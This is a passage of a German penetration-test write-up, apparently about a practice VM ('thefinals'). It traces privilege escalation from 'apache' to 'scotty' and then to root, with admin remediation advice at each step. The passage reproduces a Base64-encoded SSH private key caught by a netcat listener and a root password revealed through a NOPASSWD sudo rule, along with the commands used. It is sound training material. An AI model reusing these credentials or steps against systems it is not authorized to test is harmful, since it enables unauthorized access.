• Dringend: Stellen Sie sicher, dass das Installationsverzeichnis (`/blog/install/`) und alle Installationsdateien (`Mysql.php`, `SQLite.php` etc.) sofort nach der Installation vollständig entfernt werden oder der Zugriff darauf streng gesperrt wird.
• Halten Sie die Typecho-Installation auf der neuesten, gepatchten Version.
• Implementieren Sie eine Web Application Firewall (WAF), die Anfragen an Installationspfade und bekannte Exploit-Signaturen blockiert.
• Überwachen Sie den Webserver auf ungewöhnliche Dateierstellungs- oder Schreibaktivitäten in Webverzeichnissen.
• Implementieren Sie strikte Egress-Filter, um zu verhindern, dass der Webserver-Prozess Reverse Shells initiieren kann.

Privilege Escalation

Analyse: Nachdem ich Zugriff als Benutzer `apache` erlangt hatte, konzentrierte ich mich auf die Privilegieneskalation zum Benutzer `scotty`, da ich durch die Logdateien Hinweise auf seine Existenz und Aktivität auf Port 1337 erhalten hatte. Ich musste einen Weg finden, um von den begrenzten Berechtigungen des `apache` Benutzers zu `scotty` zu gelangen. Eine Standardmethode ist die Suche nach unsicheren Dateien, SUID-Binaries, Cronjobs oder Passwörtern im Dateisystem oder in Konfigurationsdateien.

Bewertung: Der Benutzer `scotty` war das nächste logische Ziel für die Privilegieneskalation. Die Erkenntnis, dass er einen Dienst auf Port 1337 betrieb, war ein starker Hinweis auf einen potenziellen Vektor. Die Enumeration des Dateisystems und der Prozesse als `apache` war notwendig, um weitere Informationen zu sammeln, die zu `scotty` führen könnten.

Empfehlung (Pentester): Führen Sie eine gründliche Enumeration des Systems durch, sobald Sie eine Shell erhalten haben. Suchen Sie gezielt nach Hinweisen auf andere Benutzer, laufende Dienste, ungewöhnliche Dateiberechtigungen, SUID-Binaries oder Passwörter, die in Dateien gespeichert sind.
Empfehlung (Admin): Überprüfen Sie regelmäßig Dateiberechtigungen und stellen Sie sicher, dass sensible Dateien oder Verzeichnisse nicht für andere Benutzer les- oder schreibbar sind. Minimieren Sie die Anzahl der Benutzerkonten und Dienste auf einem System.

listening on [::]:1337 ...
connect to [::ffff:192.168.2.64]:1337 from [::ffff:192.168.2.64]:56097 ([::ffff:192.168.2.64]:56097)
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQ
kc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNBMXduMDk0cGhPcXN
mYm8rbzNDQllpTjN4QTE2eW1LU2JYMlVZMzJ4L0FFd0FBQUpnRGMvWVVBM1AyCkZBQUFBQXR6YzJndFpXUXlOVFV4T1FBQ
UFDQTF3bjA5NHBoT3FzZmJvK28zQ0JZaU4zeEExNnltS1NiWDJVWTMyeC9BRXcKQUFBRUN2N2tmZW9YT1FDaTVDUklXZEh
pRFQ1dXBLeVkzdlF4QWxLbXhFUXpSWkxEWENmVDNpbUU2cXg5dWo2amNJRmlJMwpmRURYcktZcEp0ZlpSamZiSDhBVEFBQ
UFFbkp2YjNSQWRHaGxabWx1WVd4ekxtaHRkZ0VDQXc9PQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K

Die Logdateien des Benutzers `scotty` deuteten auf Aktivität auf UDP Port 1337 hin. Ich beschloss, diesen Dienst genauer zu untersuchen. Ich startete einen Netcat-Listener auf der Ziel-VM selbst, der auf UDP Port 1337 lauschte. Ich verwendete den Befehl `nc -ulnvp 1337` (u für UDP, l für listen, n für numeric, v für verbose, p für port). Unmittelbar nach dem Start des Listeners erhielt ich eine eingehende Verbindung vom Zielsystem selbst (`192.168.2.64`) auf Port 1337 und empfing eine lange, Base64-kodierte Zeichenkette.

Bewertung: Der lauschende UDP-Dienst auf Port 1337, der beim Start meines Listeners automatisch einen Base64-String sendete, war ein klarer Hinweis auf einen Intent. Dies bestätigte, dass ein Prozess im Hintergrund aktiv war und auf diesem Port kommunizierte. Der empfangene Base64-String musste nun dekodiert werden, um seinen Inhalt zu verstehen.

Empfehlung (Pentester): Wenn Sie Logeinträge oder Scan-Ergebnisse finden, die auf lokale Dienste oder ungewöhnliche Ports hinweisen, untersuchen Sie diese genauer. Starten Sie Listener oder versuchen Sie, sich mit dem Dienst zu verbinden, um die Kommunikation zu sehen.
Empfehlung (Admin): Überwachen Sie lokale Netzwerkaktivitäten und die Kommunikation zwischen Prozessen. Stellen Sie sicher, dass lokal lauschende Dienste nur die notwendigen Daten preisgeben und keine sensitiven Informationen (wie private Schlüssel) unverschlüsselt senden.

Analyse: Ich wechselte in das `/tmp` Verzeichnis, um temporär mit der dekodierten Datei zu arbeiten. Ich nahm den Base64-String, den ich auf Port 1337 empfangen hatte, dekodierte ihn mit `base64 -d` und speicherte das Ergebnis in einer Datei namens `scotty_key`. Der Befehl war `echo "..." | base64 -d > scotty_key`. Anschließend setzte ich die Berechtigungen der Datei `scotty_key` auf `600` (`chmod 600 scotty_key`), was bedeutet, dass nur der Eigentümer (ich als `apache`) die Datei lesen und schreiben kann, was für private SSH-Schlüssel erforderlich ist.

Bewertung: Der dekodierte Inhalt war eindeutig ein SSH PRIVATE KEY (`-----BEGIN OPENSSH PRIVATE KEY-----`). Dies ist ein kritischer Fund! Der Dienst auf Port 1337 sendete den privaten SSH-Schlüssel des Benutzers `scotty` im Klartext (Base64-kodiert ist immer noch Klartext) an jeden, der auf dem Port lauschte. Die Fähigkeit, diesen Schlüssel zu empfangen, ermöglicht mir nun, mich direkt per SSH als Benutzer `scotty` anzumelden, ohne ein Passwort zu benötigen.

Empfehlung (Pentester): Dekodieren Sie alle verdächtigen Base64-Strings, die Sie finden. Überprüfen Sie heruntergeladene Dateien oder empfangene Daten auf geheime Schlüssel oder Zugangsdaten. Setzen Sie die korrekten Berechtigungen für private Schlüssel, bevor Sie versuchen, sie zu verwenden.
Empfehlung (Admin): Speichern oder senden Sie niemals private Schlüssel in Klartext (oder Base64-kodiert) über das Netzwerk. Implementieren Sie sichere Methoden zur Verteilung von Schlüsseln. Überwachen Sie den Netzwerkverkehr auf ungewöhnliche Datenübertragungen, insbesondere von Systemprozessen. Stellen Sie sicher, dass Dienste keine sensiblen Daten an beliebige Listener senden.

The authenticity of host 'thefinals.hmv (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:EzmhY2U9+FvurEu825jyirPaiFVcHNA2joTW03K3glk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).

thefinals:~$

uid=1002(scotty) gid=100(users) groups=100(users),100(users)

Analyse: Mit dem gefundenen privaten SSH-Schlüssel versuchte ich, mich per SSH als Benutzer `scotty` anzumelden. Ich verwendete den Befehl `ssh -i scotty_key scotty@thefinals.hmv`. Der Parameter `-i scotty_key` wies SSH an, den gefundenen privaten Schlüssel zu verwenden. Da ich den SSH-Schlüssel besaß, benötigte ich kein Passwort. Nach der Bestätigung der Host-Authentizität erhielt ich erfolgreich eine SSH-Shell. Die Eingabeaufforderung `thefinals:~$` und der anschließende `id`-Befehl (`uid=1002(scotty) ...`) bestätigten, dass ich nun als Benutzer `scotty` auf dem System angemeldet war. Die Fehlermeldungen bezüglich der `.ssh` Verzeichnisse von `/var/www/` waren erwartbar und zeigten, dass der `apache` Benutzer keine Schreibrechte dort hatte, was in diesem Kontext aber irrelevant war, da ich mich ja als `scotty` anmeldete.

Bewertung: Erfolgreich! Ich habe die Privilegieneskalation von `apache` zu `scotty` durch den missbräuchlichen Einsatz des UDP-Dienstes und die Nutzung des offengelegten privaten SSH-Schlüssels erreicht. Ich habe nun Zugriff als ein anderer regulärer Benutzer, der wahrscheinlich höhere Berechtigungen als `apache` hat und das nächste Ziel vor `root` darstellt.

Empfehlung (Pentester): Nutzen Sie gefundene private Schlüssel sofort, um sich als der entsprechende Benutzer per SSH anzumelden. SSH-Zugriff ist oft stabiler und interaktiver als Web-Shells.
Empfehlung (Admin): Überprüfen Sie, welche Dienste private Schlüssel handhaben und stellen Sie sicher, dass diese Schlüssel sicher gespeichert und niemals unverschlüsselt übermittelt werden. Implementieren Sie Multi-Faktor-Authentifizierung für SSH-Zugriffe.

Matching Defaults entries for scotty on thefinals:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for scotty:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User scotty may run the following commands on thefinals:
    (ALL) NOPASSWD: /sbin/secret

Analyse: Als Benutzer `scotty` prüfte ich sofort meine `sudo`-Berechtigungen mit dem Befehl `sudo -l`. Die Ausgabe zeigte eine sehr interessante Regel: `(ALL) NOPASSWD: /sbin/secret`. Dies bedeutete, dass der Benutzer `scotty` das Programm `/sbin/secret` als *jeder* Benutzer (`ALL`), einschließlich `root`, ausführen darf, ohne ein Passwort einzugeben (`NOPASSWD`).

Bewertung: Das ist der direkte Weg zur Root-Privilegieneskalation! Eine `NOPASSWD` Regel für ein Programm namens `/sbin/secret` ist ein sehr starker Hinweis auf eine beabsichtigte Schwachstelle. Ich darf dieses Programm mit Root-Berechtigungen ausführen, ohne ein Passwort zu benötigen. Der nächste Schritt war, zu untersuchen, was `/sbin/secret` tut, wenn es mit Root-Berechtigungen ausgeführt wird.

Empfehlung (Pentester): Prüfen Sie immer die `sudo`-Berechtigungen für jeden neuen Benutzer, den Sie kompromittieren. `NOPASSWD`-Einträge für ungewöhnliche Programme sind sehr vielversprechend.
Empfehlung (Admin): Weisen Sie `NOPASSWD` Berechtigungen nur mit äußerster Vorsicht und nur für absolut notwendige und sichere Befehle zu. Benennen Sie sensible Skripte oder Programme nicht mit offensichtlichen Namen wie "secret". Auditieren Sie Ihre `sudoers`-Datei regelmäßig.

Analyse: Ich versuchte, die Shell zu stabilisieren und die Interaktivität zu verbessern, insbesondere für den Fall, dass die Ausführung von `/sbin/secret` eine neue Shell eröffnen würde. Ich verwendete eine Schleife, um mehrere nicht-interaktive `/bin/ash` Shells im Hintergrund zu starten, was manchmal helfen kann, wenn die Haupt-Shell instabil ist.

Bewertung: Das Starten von "Zombie"-Shells kann in einigen Szenarien helfen, eine stabilere interaktive Shell zu erhalten, obwohl dies keine universelle Lösung ist. Es war ein Versuch, die Umgebung für die Ausführung von `/sbin/secret` vorzubereiten.

Empfehlung (Pentester): Nutzen Sie verschiedene Methoden zur Shell-Stabilisierung (`stty`, `python -c 'import pty'`, `rlwrap`, das Starten von Hintergrund-Shells). Finden Sie heraus, welche Methode auf dem Zielsystem am besten funktioniert.
Empfehlung (Admin): Überwachen Sie ungewöhnliche Prozessaktivitäten, wie z.B. eine große Anzahl von Hintergrund-Shell-Prozessen, die von einem einzelnen Benutzer gestartet werden.

root:p8RuoQGTtlKLAjuF1Tpy5wX

Analyse: Ich führte das Programm `/sbin/secret` mit Root-Berechtigungen aus, indem ich `sudo /sbin/secret` verwendete. Wie durch die `sudo -l` Ausgabe bestätigt, war hierfür kein Passwort erforderlich. Die Ausgabe des Befehls war eine einzelne Zeile: `root:p8RuoQGTtlKLAjuF1Tpy5wX`.

Bewertung: Erfolgreich! Das Programm `/sbin/secret` gab die Zugangsdaten für den Benutzer `root` aus: Benutzername `root` und Passwort `p8RuoQGTtlKLAjuF1Tpy5wX`. Dies ist der entscheidende Fund für die vollständige Kompromittierung des Systems. Das Programm war offensichtlich dazu gedacht, diese Information preiszugeben, wenn es mit erhöhten Rechten ausgeführt wird.

Empfehlung (Pentester): Wenn Sie ein Programm finden, das Sie mit `sudo` ausführen dürfen, und sein Zweck unklar ist, führen Sie es mit den erlaubten Berechtigungen aus und analysieren Sie die Ausgabe genau. Achten Sie auf Passwörter, Schlüssel oder andere sensible Daten.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten in ausführbaren Skripten oder Binaries. Wenn ein Skript erhöhte Rechte benötigt, implementieren Sie es sicher und stellen Sie sicher, dass es keine unbeabsichtigten Informationen preisgibt. Vermeiden Sie `NOPASSWD` Einträge für solche Skripte.

Proof of Concept

Kurzbeschreibung: Dieser Proof of Concept demonstriert die erfolgreiche Erlangung vollständiger Root-Privilegien auf dem Zielsystem durch die Ausnutzung einer Fehlkonfiguration in der `sudoers`-Datei. Der Benutzer `scotty` war berechtigt, das Programm `/sbin/secret` ohne Passwort als Root auszuführen. Die Ausführung dieses Programms gab das Root-Passwort preis, was den direkten Login als Root ermöglichte.

Voraussetzungen:

• Zugriff als Benutzer `scotty`.
• Die `sudoers`-Datei muss den Eintrag `scotty ALL=(ALL) NOPASSWD: /sbin/secret` enthalten.
• Das Programm `/sbin/secret` muss auf dem System existieren und bei Ausführung als Root das Root-Passwort ausgeben.

Schritt-für-Schritt-Anleitung & Beweismittel:

1. Überprüfung der `sudo`-Berechtigungen des Benutzers `scotty`:

...
User scotty may run the following commands on thefinals:
    (ALL) NOPASSWD: /sbin/secret

Als Benutzer `scotty` habe ich meine `sudo`-Berechtigungen geprüft und festgestellt, dass ich `/sbin/secret` ohne Passwort als Root ausführen darf.

2. Ausführung von `/sbin/secret` mit Root-Berechtigungen:

root:p8RuoQGTtlKLAjuF1Tpy5wX

Ich führte das Programm `/sbin/secret` unter Verwendung meiner `sudo`-Berechtigung aus. Die Ausgabe war das Passwort für den Root-Benutzer.

3. Login als Root und Verifizierung:

uid=0(root) gid=0(root) groups=0(root)

Mit dem gefundenen Root-Passwort konnte ich mich direkt als Root anmelden (z.B. über `su root` mit dem Passwort oder direkt per SSH, wenn Root-Login erlaubt wäre). Innerhalb der Root-Shell habe ich meine Identität mit `id` verifiziert, was die Benutzer-ID `0(root)` bestätigte. Fantastisch der root zugriff war erfolgreich nun haben wir unser Ziel erreicht.

Erwartetes Ergebnis: Erlangung vollständiger Root-Privilegien auf dem Zielsystem.

Tatsächliches Ergebnis: Das Root-Passwort wurde durch die Ausnutzung der `sudo`-Fehlkonfiguration erhalten, was den direkten Login als Root ermöglichte. Das System wurde vollständig kompromittiert.

Risikobewertung:
Auswirkung: Kritisch. Ein unprivilegierter Benutzer (`scotty`) konnte durch einen einfachen `sudo`-Befehl vollständige administrative Kontrolle über das System erlangen. Dies ermöglicht unbefugten Zugriff auf alle Daten, die Installation von Backdoors, die Manipulation von Systemkonfigurationen und die Nutzung des Systems für weitere Angriffe.
Wahrscheinlichkeit: Hoch. Die Schwachstelle ist direkt über einen vorhandenen `sudo`-Eintrag ausnutzbar und erfordert nur die Ausführung eines einzigen Befehls.
Gesamtrisiko: Kritisch.

Empfehlungen:
Empfehlung (Admin):

• Dringend: Entfernen Sie den `NOPASSWD`-Eintrag für `/sbin/secret` aus der `sudoers`-Datei.
• Speichern Sie niemals Passwörter oder andere sensible Daten in ausführbaren Skripten oder Binaries, insbesondere nicht in solchen, die mit erhöhten Rechten ausgeführt werden können.
• Überprüfen Sie alle `sudoers`-Einträge auf ähnliche Fehlkonfigurationen und wenden Sie das Prinzip der minimalen Rechte strikt an.
• Führen Sie regelmäßige Audits Ihrer `sudoers`-Konfiguration und des Dateisystems durch.